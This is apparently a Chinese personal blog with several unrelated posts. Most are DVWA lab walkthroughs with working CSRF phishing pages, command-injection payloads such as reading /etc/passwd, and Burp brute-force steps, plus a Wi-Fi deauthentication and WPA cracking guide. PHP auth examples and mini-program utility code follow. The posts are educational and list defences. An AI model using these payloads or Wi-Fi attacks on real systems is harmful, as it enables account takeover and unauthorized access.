l1n6yun's Blog

记录学习的技能和遇到的问题

漏洞简介

CSRF,全称 Cross-Site Request Forgery,跨站请求伪造。简单说就是攻击者伪造一个请求,诱导已经登录的用户去点,然后用户不知不觉就帮攻击者干了一些事,比如改密码、转账之类的。

原理就是浏览器会自动带上 Cookie,所以只要用户登录了,请求发出去就带着身份信息,服务器分辨不出这是不是用户真的想做的操作。

这关的目标是通过 CSRF 修改用户密码。

Low 级别

看代码:

1
2
3
4
5
6
7
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

if( $pass_new == $pass_conf ) {
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
}

GET 请求直接改密码,啥防护都没有。

攻击方法

正常改密码的请求长这样:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

那我伪造一个:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#

做个钓鱼页面:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>恭喜您中奖了</title>
</head>
<body>
<h1>恭喜您获得一等奖!</h1>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<p>请点击下方按钮领取奖品</p>
</body>
</html>

用户访问这个页面的瞬间,img 标签就会发送请求,密码就被改成 hacked 了。用户完全不知道发生了什么。

试一下用新密码登录,成功!

Medium 级别

Medium 加了 Referer 检验:

1
2
3
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 允许修改密码
}

它检查请求头里的 Referer 是否包含服务器域名,比如 localhost

绕过方法

问题在于它只是检查包含,那我把我钓鱼页面的路径里加上 localhost 不就行了?

比如文件名叫 localhost.html,或者放在 localhost 目录下。这样 Referer 里就会有 localhost 这个字符串,校验就过了。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<h1>页面加载中...</h1>
</body>
</html>

这验证写得也太随意了。

High 级别

High 加了 CSRF Token:

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

每次请求都要带个有效 Token,攻击者不知道 Token 就没法伪造请求了。

攻击方法

单纯的 CSRF 搞不定了,得配合 XSS 才行。如果有 XSS 漏洞,就能用 JavaScript 去获取页面里的 Token:

1
var token = document.getElementsByName('user_token')[0].value;

然后构造攻击页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3892/vulnerabilities/csrf/", false);
xhr.send();
var response = xhr.responseText;
var token = response.match(/user_token'\s*value='([^']+)'/)[1];

var attackUrl = "http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=" + token;
var attackXhr = new XMLHttpRequest();
attackXhr.open("GET", attackUrl, false);
attackXhr.send();
</script>
</body>
</html>

不过这个受同源策略限制,实际场景得看具体情况,这里主要是演示思路。

Impossible 级别

Impossible 级别是真安全:

1
2
3
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

改用 POST 了,还强制验证 Token,密码强度也有要求。这才是正确的防护姿势。

小结

CSRF 防护要点:

  1. 敏感操作一定要用 CSRF Token
  2. 尽量用 POST,别用 GET
  3. Cookie 设置 SameSite 属性
  4. 重要操作要求二次确认
  5. Referer 校验可以加,但别只指望它

漏洞简介

命令注入这玩意,简单说就是用户输入的东西被当成系统命令执行了。比如一个 ping 功能,输入 IP 就能 ping,但如果没过滤好,输入个 127.0.0.1;ls 就能把 ls 也执行了,这就叫命令注入。

这关主要就是学怎么利用这个漏洞拿到服务器信息。

常用连接符

先记几个常用的命令连接符:

连接符 作用
; Linux 专用,前后命令都执行
&& 前面的成功了才执行后面的
|| 前面的失败了才执行后面的
| 管道,前面输出给后面
& Linux 后台运行,Windows 也能当连接符用

Low 级别

看源码:

1
2
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping -c 4 ' . $target );

用户输入直接拼进命令执行了,一点过滤都没有,想执行啥都行。

测试一下

输入 127.0.0.1;ls

1
2
3
4
5
6
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.023 ms
...
help
index.php
source

看到最后多出来几个文件名了吧,ls 命令执行成功了。

换个姿势,127.0.0.1&&whoami

1
2
...
www-data

当前用户是 www-data。

再看个狠的,127.0.0.1|cat /etc/passwd

1
2
3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

直接把 passwd 文件读出来了。

还可以看看系统信息 127.0.0.1;uname -a

1
2
...
Linux 5aaff548a97b 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux

这信息泄露够多的。

Medium 级别

Medium 开始过滤了:

1
2
3
4
5
6
$substitutions = array(
'&&' => '',
';' => '',
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

过滤了 &&;,但是漏了 |||& 这些。

绕过方法

|| 的话,前面的命令得失败才能执行后面的,所以可以这样:

1
127.0.0.1||ls

或者直接用管道符:

1
127.0.0.1|whoami

管道符最香,因为它只输出后面命令的结果,干净利落。

High 级别

High 级别过滤得更狠:

1
2
3
4
5
6
7
8
9
10
11
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

看起来过滤了 | ||,但仔细看,| 过滤的是管道符加空格,也就是说管道符后面不带空格就没事。

绕过

直接用管道符不加空格:

1
127.0.0.1|ls

或者:

1
127.0.0.1|whoami

又绕过去了。这过滤写得还是不够严谨。

Impossible 级别

Impossible 级别是真正的安全写法:

1
2
3
4
5
6
7
8
$target = stripslashes( $target );
$octet = explode( ".", $target );

if( is_numeric( $octet[0] ) && is_numeric( $octet[1] ) && is_numeric( $octet[2] ) && is_numeric( $octet[3] )
&& ( $octet[0] < 256 ) && ( $octet[1] < 256 ) && ( $octet[2] < 256 ) && ( $octet[3] < 256 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 执行 ping
}

把输入按 . 分成四段,每段必须是数字而且要在 0-255 之间,这才能通过验证。这才是 IP 地址应该有的校验方式,从根本上杜绝了命令注入。

小结

命令注入危害挺大的,防护的话:

  1. 能不用系统命令就别用,语言自带函数能解决大部分问题
  2. 实在要用就得做好输入校验,用白名单
  3. escapeshellarg() 这类函数转义参数
  4. Web 服务尽量用低权限账户跑

漏洞简介

Brute Force,说白了就是暴力破解。拿一堆账号密码挨个试,总有一个能蒙对的。虽然听着挺 low 的,但说实话很多系统还是会被这种方式攻破,尤其是那些密码设得简单的。

这关主要用 Burp Suite 来搞,算是入门必备工具了。

Low 级别

先看源码:

1
$getid  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

好家伙,直接拼 SQL,连注入带爆破都能搞。

方法一:SQL 注入直接绕过

既然有注入,那还爆什么破,直接绕登录:

用户名填 admin'# 或者 admin' or '1'='1'#,密码随便填,直接进。

登录成功

方法二:Burp Suite 暴力破解

想练手 Burp Suite 的话,还是走爆破路线。

第一步:抓包

打开 DVWA 的 Brute Force 页面,随便输个账号密码,点登录。Burp 会把请求拦下来,右键选 Send to Intruder

upload successful

第二步:设置攻击点

进 Intruder -> Positions,把预设的标记都清掉,然后选中用户名和密码这两个值,点 Add § 加标记:

1
username=§admin§&password=§123456§&Login=Login

upload successful

第三步:配置字典

切到 Payloads 选项卡:

Payload set 1 填几个常见用户名:adminadministratorroottest

upload successful

Payload set 2 填密码,可以自己写几个常用的,也可以加载字典文件。

upload successful

第四步:开跑

点 Start attack,等着就行。看 Length 这一列,响应长度不一样的那个就是成功了。

upload successful

跑出来用户名 admin,密码 password

Medium 级别

Medium 级别加了个 mysql_real_escape_string() 转义特殊字符,还有个 sleep(2) 延迟:

1
2
$user = mysql_real_escape_string($user);
$pass = mysql_real_escape_string($pass);

注入是没法注入了,但爆破还是能爆,就是慢了点,每次都要等 2 秒。耐心点就行,反正又不是手工试。

High 级别

High 级别加了 CSRF Token,每次请求都要带上有效的 user_token

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

这就麻烦了,普通的 Intruder 模式没法用,因为每次都要先获取新的 Token。

绕过方法

用 Burp 的 Pitchfork 模式配合 Recursive grep

第一步:设置攻击类型

攻击类型选 Pitchfork,标记密码和 token:

1
username=admin&password=§123456§&Login=Login&user_token=§token_here§

upload successful

第二步:配置提取 Token

在 Options -> Grep - Extract 里添加规则,从响应里提取 user_token 的值。

upload successful

第三步:设置重定向

把 Follow redirections 改成 Always。

upload successful

第四步:配置 Payload

第一个 Payload 用密码字典。

第二个 Payload 类型选 Recursive grep,从上一个响应里提取 Token。

upload successful

第五步:开跑

点开始,观察结果,找到对的密码。

upload successful

Impossible 级别

Impossible 级别是真没法爆了:

1
2
3
4
5
6
$total_failed_login = $row[ 'total_failed_login' ];
$lock_time = strtotime( $row[ "last_login" ] ) + (15 * 60);

if( $total_failed_login >= 3 && strtotime( $row[ "last_login" ] ) > $lock_time ) {
// 账户被锁定
}

连续失败 3 次就锁 15 分钟,这就没法玩了。加上还有 CSRF Token、PDO 预处理、密码加密存储,这才是正确的安全姿势。

小结

暴力破解虽然听着土,但真挺有效的,尤其是那种密码设得简单还没防护的系统。做防护的话,记住几点:

  • 限制登录次数,失败几次就锁定
  • 加验证码
  • 强制强密码
  • 最好上个双因素认证

前言

最近在学 Web 安全,发现 DVWA 这个靶场挺适合练手的。DVWA 全称是 Damn Vulnerable Web Application,说白了就是一个故意写满漏洞的 PHP 网站,专门用来让我们学习怎么发现和利用漏洞。

不过有一点要注意,这玩意漏洞太多了,千万别部署到公网上去,我就放在本地的 Docker 里跑,安全第一。

安装步骤

1. 拉取镜像

既然用 Docker,那就简单了,先拉个镜像:

1
docker pull vulnerables/web-dvwa

等几分钟就能拉下来。

2. 启动容器

然后跑起来:

1
docker run -d -p 3892:80 vulnerables/web-dvwa

这里 -d 是后台运行,-p 3892:80 把容器里的 80 端口映射到本机的 3892 端口。端口随便改,只要没被占用就行。

3. 访问测试

打开浏览器访问 http://localhost:3892,应该能看到 DVWA 的界面了。

upload successful

4. 登录

默认账号密码:

  • 用户名:admin
  • 密码:password

登录进去就可以开始玩了。

安全级别说明

DVWA 有四个安全级别,在左边菜单可以切换:

级别 难度
Low 最简单,基本没防护,适合入门
Medium 有一点防护,但能绕过
High 防护比较强,需要点技巧
Impossible 安全编码的示范,基本没法攻破

建议从 Low 开始,一步步往上学,最后看看 Impossible 级别的代码是怎么写的,这才是正确的学习姿势。

后续计划

DVWA 有挺多漏洞模块的,后面我会一个个写通关教程:

  • Brute Force(暴力破解)
  • Command Injection(命令注入)
  • CSRF(跨站请求伪造)
  • File Inclusion(文件包含)
  • File Upload(文件上传)
  • Insecure CAPTCHA(不安全的验证码)
  • SQL Injection(SQL 注入)
  • SQL Injection Blind(盲注)
  • Weak Session IDs(弱会话 ID)
  • XSS DOM(DOM 型 XSS)
  • XSS Reflected(反射型 XSS)
  • XSS Stored(存储型 XSS)
  • CSP Bypass(内容安全策略绕过)
  • JavaScript(JavaScript 攻击)

先装好环境,下一篇开始讲暴力破解。

  1. 在 Kali 的桌面按下 Ctrl+Alt+T 打开终端

  2. 使用 root 权限执行 sudo dpkg-reconfigure locales
    upload successful

  3. 选中 en_US.UTF-8 UTF-8zh_CN.UTF-8 UTF-8 (注意:按下空格键选中,选好后按下TAB键退出编码格式选项,跳到OK选项)
    upload successful

  4. 选择 zh_CN.UTF-8,选择OK
    upload successful

  5. 在终端键入reboot, 重启Kali
    upload successful

  6. 重启Kali后, 建议选择保留旧的名称
    upload successful

  7. 此时可以看到界面已经汉化完成了!
    upload successful

Example #1 Basic HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');


if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

die('Text to send if user hits Cancel button');
}


// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('Wrong Credentials!');


// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];


// function to parse the http auth header
function http_digest_parse($txt)
{
// protect against missing data
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}

return $needed_parts ? false : $data;
}
?>

Example #3 强迫重新输入用户名和密码的 HTTP 认证的范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function authenticate() {
header('WWW-Authenticate: Basic realm="Test Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "You must enter a valid login ID and password to access this resource\n";
exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
authenticate();
}
else {
echo "<p>Welcome: {$_SERVER['PHP_AUTH_USER']}<br />";
echo "Old: {$_REQUEST['OldAuth']}";
echo "<form action='{$_SERVER['PHP_SELF']}' METHOD='post'>\n";
echo "<input type='hidden' name='SeenBefore' value='1' />\n";
echo "<input type='hidden' name='OldAuth' value='{$_SERVER['PHP_AUTH_USER']}' />\n";
echo "<input type='submit' value='Re Authenticate' />\n";
echo "</form></p>\n";
}

Aircrack-ng是一个基于WiFi无线网络分析有关的安全软件,主要功能有网络侦测、数据包嗅探、WEP和WPA/WPA2-PSK破解等。
因为安全性的原因。现在,周围很少有用WEP算法来加密的WiFi密码,不过基本命令都很相似。

WiFi网络构成

  1. WiFi是一个建立于IEEE 802.11标准的无线局域网络(WLAN)设备。
  2. WiFi工作原理AP(Access Point 例如:无线路由器)每100ms将SSID(Service Set Identifier)经由beacons(信号台)封包广播一次。

查看网卡信息

1
iwconfig

upload successful

启动监听模式

1
airmon-ng start wlan0

upload successful

准备抓取握手包

1
airodump-ng -c 6 -bssid 64:6E:97:DA:39:5C -w thomas wlan0
  • -c:信道号
  • –bssid:apMAC
  • -w:保存的文件名

upload successful

扫描到的WiFi热点信息

  • BSSID:WiFi路由器的MAC地址
  • PWR:网卡报告信号水平,信号值越高说明离AP越近。(PWR=-1,网卡驱动不支持报告此项信息)
  • Beacons:无线AP发出的通告编号
  • #Data:被捕获到的数据分组的数量(一般数据量越大,抓取握手包更容易)
  • #/s:过去10秒钟内每秒捕获数据分组的数量
  • CH:信道号(从Beacon中获取)
  • MB:无线AP所支持的最大速率
  • ENC:加密算法体系
  • CIPHER:加密算法
  • AUTH:使用的认证协议
  • ESSID:wifi名称

使已连接WiFi的用户A强制下线,之后A会向WiFi路由重新发送一个带密码的请求握手包

1
aireplay-ng -0 2 -a 64:6E:97:DA:39:5C -c C2:46:34:ED:48:4C wlan0
  • -0:攻击数据包数量
  • -a:WiFi MAC 地址
  • -c:用户 MAC 地址

upload successful

出现 WAP handshake 表示已经获取到了握手包,下面就可以实现破解了

upload successful

开始爆破

1
aircrack-ng -w pass.txt thomas-01.cap
  • -w:字典文件路径

upload successful

hashcat

关于密码破解,可以使用kali自带的hashcat使效率大大增加

1
2
aircrack-ng [抓取到的握手包文件名] -J [转换后的文件名]
hashcat -m 2500 .hccap password.txt

参数: -m 2500为破解的模式为WPA/PSK方式 hccap格式的文件是刚刚转化好的文件 字典文件

注:最新版hashcat一般情况下不支持hccap格式,第一步需将握手包cap格式转换为hccapx

model层就不用多说了,主要是把数据处理部分独立出来,便于统一服务和维护,这里重点强调下model内部的实现细节,这里有一个实现技巧可以用在其它别的地方。下面直接上代码部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import cache from '../utils/cache.js'
import ajax from '../utils/ajax.js'

// 统一的接口地址,一般一个controller下面多个action是一致的
let url = "";

/**
* 格式化请求参数,根据不同的接口自行处理
* @params params 键值对对象,形如{}
* @return {*} 格式化后的参数
*/
let formatParams = function(params) {
return params;
}

/**
* 格式化返回结果,根据不同的接口自行处理
* @params data 对象 数组等任何合法的JS数据类型
* @return {*} 格式化后的数据
*/
let formatResult = function(data) {
return data;
}


module.exports = {

/**
* 读取可用游戏业务列表
* @params params 参数,本接口用不到
* @return {*} 返回 Promise 对象
*/
getList(params) {

// 如果接口地址不一致,这里重写
let url = "";

// 如果有特殊的参数处理逻辑,这里重写
let formatParams = function(params) {
return params;
}

// 如果有特殊的格式处理,这里重写
let formatResult = function(result) {
return result;
}

/**
* 如果需要自己先判断缓存或者别的处理,这里手动使用Promise封装一下即可
*/
return new Promise((resolve, reject) => {

var goods_list = cache.get("goods_list");

if (null == goods_list) {
resolve(goods_list)
} else {
ajax.get({
url: url,
data: formatParams(params),
login: false,
loading: true,
}).then((res) => {
var data = formatResult(res.data)
cache.set("goods_list", data, 86400)
resolve(data);
}).catch((error) => {
reject(error)
})
}
})
}
}
1
2
3
4
5
6
7
import goods from '../../models/goods.js'

goods.getList().then((res) => {
console.log("成功", res)
}, (error) => {
console.log("失败", error)
})
  1. 把参数处理和返回结果处理拆出来放到单独的处理方法里,方法名称保持统一: formatParamsformatResult
  2. 同时最外层定义好默认的 formatParamsformatResult ,如果不做特殊处理,直接使用默认即可(建议不处理也调用下默认方法,规范流程)
  3. 还有一点,model里方法命令有统一规范都是已 getaddupdatedel 开头

这个思路其实可以运用到任何场景,特别是在没有任何限定框架的场景,我们只需要按照这个模式去实现,代码一样很清晰漂亮。

其实,小程序自带了缓存接口,有同步 wx.setStorageSync ,异步 wx.setStorage 的方法,但是实际在使用缓存的场景里,我们一般都是需要设置缓存有效时间的,本cache工具就是对小程序缓存接口的封装,实现了对缓存有效期的支持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
module.exports = {
test: function() {
try {
wx.setStorageSync("JDC_TEST", "1");
wx.removeStorageSync("JDC_TEST");
return true;
} catch (e) {
wx.showModal({
title: "提示",
content: "小程序缓存出现问题,请稍后使用",
showCancel: !1,
success: function(e) {
if(e.confirm){
console.log("用户点击确定");
}
}
})
return false;
}
},
set: function(name, value, expire) {
if (typeof expire == "number") {
expire = expire * 1e3;
} else {
expire = 2592e5
}
wx.removeStorageSync(name);
var time = new Date().getTime();
try {
wx.setStorageSync(name, {
_value: value,
_time: time,
_age: time + expire
});
return true;
} catch (e) {
return false;
}
},
get: function(name) {
var data = this._isExpire(name);
if (data !== true) {
return data._value
} else {
return null
}
},
del: function(name) {
try {
wx.removeStorageSync(name);
return !0;
} catch (e) {
return !1;
}
},
_isExpire: function(name) {
var data = wx.getStorageSync(name);
var time = new Date().getTime();
if (data && time < data._age) {
return data;
} else {
return true;
}
},
}
1
2
3
4
5
import cache from '../utils/cache.js'

cache.set("key","value",7200);
cache.get("key");
cache.del("key");

实现了 promise 的封装,支持GET、POST、PUT 和DELELE这里设计的时候就确定为仅满足单项目通用即可,所以实现的时候融入了部分业务层面的逻辑:

  • 接口首次格式化,兼容标准的json和var形式接口(内部有大量var形式的接口)
  • 直判断返回值在逻辑上是成功还是失败
  • 针对返回未登录的情况,自动跳转登录流程

所以省去了业务调用侧的反复判断处理通用逻辑,使用更简洁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
var host = "http://www.baidu.com";

var showLoading = null;

module.exports = {
HOST: host,
API_ROOT: host + '/api/',
API_VERSION: '1.0.0',
get(options) {
options.method = 'GET';
return this.request(options);
},
post(options) {
options.method = 'POST';
return this.request(options);
},
delete(options) {
options.method = 'DELETE';
return this.request(options);
},
put(options) {
options.method = 'PUT';
return this.request(options);
},
request(options) {
var that = this
var apiRoot = this.API_ROOT;

var token = '';
try {
token = wx.getStorageSync('token')
} catch (e) {}

var requireLogin = true;
if (typeof options.login == 'undefined' || options.login == true) {
requireLogin = true;
} else {
requireLogin = false;
}

if (typeof options.loading != 'undefined' && options.loading == true) {
clearTimeout(showLoading)
showLoading = setTimeout(function() {
wx.showToast({
title: "加载中",
icon: "loading",
duration: 1e4
});
}, 500)
}

return new Promise((resolve, reject) => {
wx.request({
url: apiRoot + options.url,
data: options.data,
method: options.method ? options.method : 'POST',
header: {
'Cache-Control': 'no-cache',
'Content-Type': 'application/x-www-form-urlencoded',
'XX-Token': token,
'XX-Device-Type': 'wxapp',
'XX-Api-Version': that.API_VERSION
},
success: (res) => {
clearTimeout(showLoading)
wx.hideToast()
if (res.data.code == 10001 && requireLogin) {
// 执行登陆
let currentPages = getCurrentPages();
let currentRoute = currentPages.pop()['__route__'];
if (currentRoute != 'pages/login/login') {
wx.navigateTo({
url: '/pages/login/login'
});
}
} else {
resolve(res)
}
},
fail: (error) => {
clearTimeout(showLoading)
wx.hideToast()
reject(error)
}
})
})
}
}
1
2
3
4
5
6
7
8
9
10
11
import ajax from '../utils/ajax.js'

ajax.get({
url: url,
login: false,
loading: true,
}).then((res) => {
console.log(res)
}).catch((error) => {
console.log(error)
})
0%